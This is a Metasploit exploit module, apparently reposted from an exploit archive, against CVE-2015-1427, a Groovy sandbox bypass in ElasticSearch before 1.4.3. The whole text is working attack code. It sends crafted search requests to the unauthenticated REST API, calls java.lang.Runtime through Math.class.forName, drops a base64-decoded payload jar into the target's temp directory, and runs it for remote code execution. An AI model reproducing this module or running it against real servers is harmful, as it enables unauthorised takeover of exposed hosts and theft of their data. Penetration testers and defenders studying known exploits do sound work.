ElasticSearch Search Groovy Sandbox Bypass

2015-03-16 18:05:03

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'ElasticSearch Search Groovy Sandbox Bypass',
'Description' => %q{
This module exploits a remote command execution (RCE) vulnerability in ElasticSearch,
exploitable by default on ElasticSearch prior to 1.4.3. The bug is found in the
REST API, which does not require authentication, where the search function allows
groovy code execution and its sandbox can be bypassed using java.lang.Math.class.forName
to reference arbitrary classes. It can be used to execute arbitrary Java code. This
module has been tested successfully on ElasticSearch 1.4.2 on Ubuntu Server 12.04.
},
'Author' =>
[
'Cameron Morris', # Vulnerability discovery
'Darren Martyn', # Public Exploit
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-1427'],
['URL', 'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/'],
['URL', 'https://github.com/XiphosResearch/exploits/tree/master/ElasticSearch'],
['URL', 'http://drops.wooyun.org/papers/5107']
],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Targets' =>
[
['ElasticSearch 1.4.2', {}]
],
'DisclosureDate' => 'Feb 11 2015',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(9200),
OptString.new('TARGETURI', [true, 'The path to the ElasticSearch REST API', "/"])
], self.class)
end

def check
result = Exploit::CheckCode::Safe

if vulnerable?
result = Exploit::CheckCode::Vulnerable
end

result
end

def exploit
print_status("#{peer} - Checking vulnerability...")
unless vulnerable?
fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")
end

print_status("#{peer} - Discovering TEMP path...")
res = execute(java_tmp_dir)
tmp_dir = parse_result(res)
if tmp_dir.nil?
fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...")
else
print_good("#{peer} - TEMP path on '#{tmp_dir}'")
end

print_status("#{peer} - Discovering remote OS...")
res = execute(java_os)
os = parse_result(res)
if os.nil?
fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...")
else
print_good("#{peer} - Remote OS is '#{os}'")
end

if os =~ /win/i
tmp_file = "#{tmp_dir}#{rand_text_alpha(4 + rand(4))}.jar"
else
tmp_file = File.join(tmp_dir, "#{rand_text_alpha(4 + rand(4))}.jar")
end

register_files_for_cleanup(tmp_file)

print_status("#{peer} - Trying to load metasploit payload...")
java = java_load_class(os, tmp_file)
execute(java)
end

def vulnerable?
java = 'java.lang.Math.class.forName("java.lang.Runtime")'

vprint_status("#{peer} - Trying to get a reference to java.lang.Runtime...")
res = execute(java)
result = parse_result(res)

if result.nil?
vprint_status("#{peer} - no response to test")
return false
elsif result == 'class java.lang.Runtime'
return true
end

false
end

def parse_result(res)
unless res
vprint_error("#{peer} - No response")
return nil
end

unless res.code == 200 && res.body
vprint_error("#{peer} - Target answered with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)")
return nil
end

begin
json = JSON.parse(res.body.to_s)
rescue JSON::ParserError
return nil
end

begin
result = json['hits']['hits'][0]['fields']['msf_result']
rescue
return nil
end

result.is_a?(::Array) ? result.first : result
end

def java_tmp_dir
'java.lang.Math.class.forName("java.lang.System").getProperty("java.io.tmpdir")'
end

def java_os
'java.lang.Math.class.forName("java.lang.System").getProperty("os.name")'
end

def java_load_class(os, tmp_file)
if os =~ /win/i
tmp_file.gsub!(/\\/, '\\\\\\\\')
end

java = [
'c=java.lang.Math.class.forName("java.io.FileOutputStream");',
'b64=java.lang.Math.class.forName("sun.misc.BASE64Decoder");',
"i=c.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\");",
'b64_i=b64.newInstance();',
"i.write(b64_i.decodeBuffer(\"#{Rex::Text.encode_base64(payload.encoded)}\"));",
'loader_class=java.lang.Math.class.forName("java.net.URLClassLoader");',
'file_class=java.lang.Math.class.forName("java.io.File");',
"file_url=file_class.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\").toURI().toURL();",
'loader=loader_class.newInstance();',
'loader.addURL(file_url);',
'm=loader.loadClass(\'metasploit.Payload\');',
'm.main(null);'
]

java.join
end

def execute(java, timeout = 20)
payload = {
"size" => 1,
"query" => {
"filtered" => {
"query" => {
"match_all" => {}
}
}
},
"script_fields" => {
"msf_result" => {
"script" => java
}
}
}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, "_search"),
'method' => 'POST',
'data' => JSON.generate(payload)
}, timeout)

res
end

end

Fixes

No fixes

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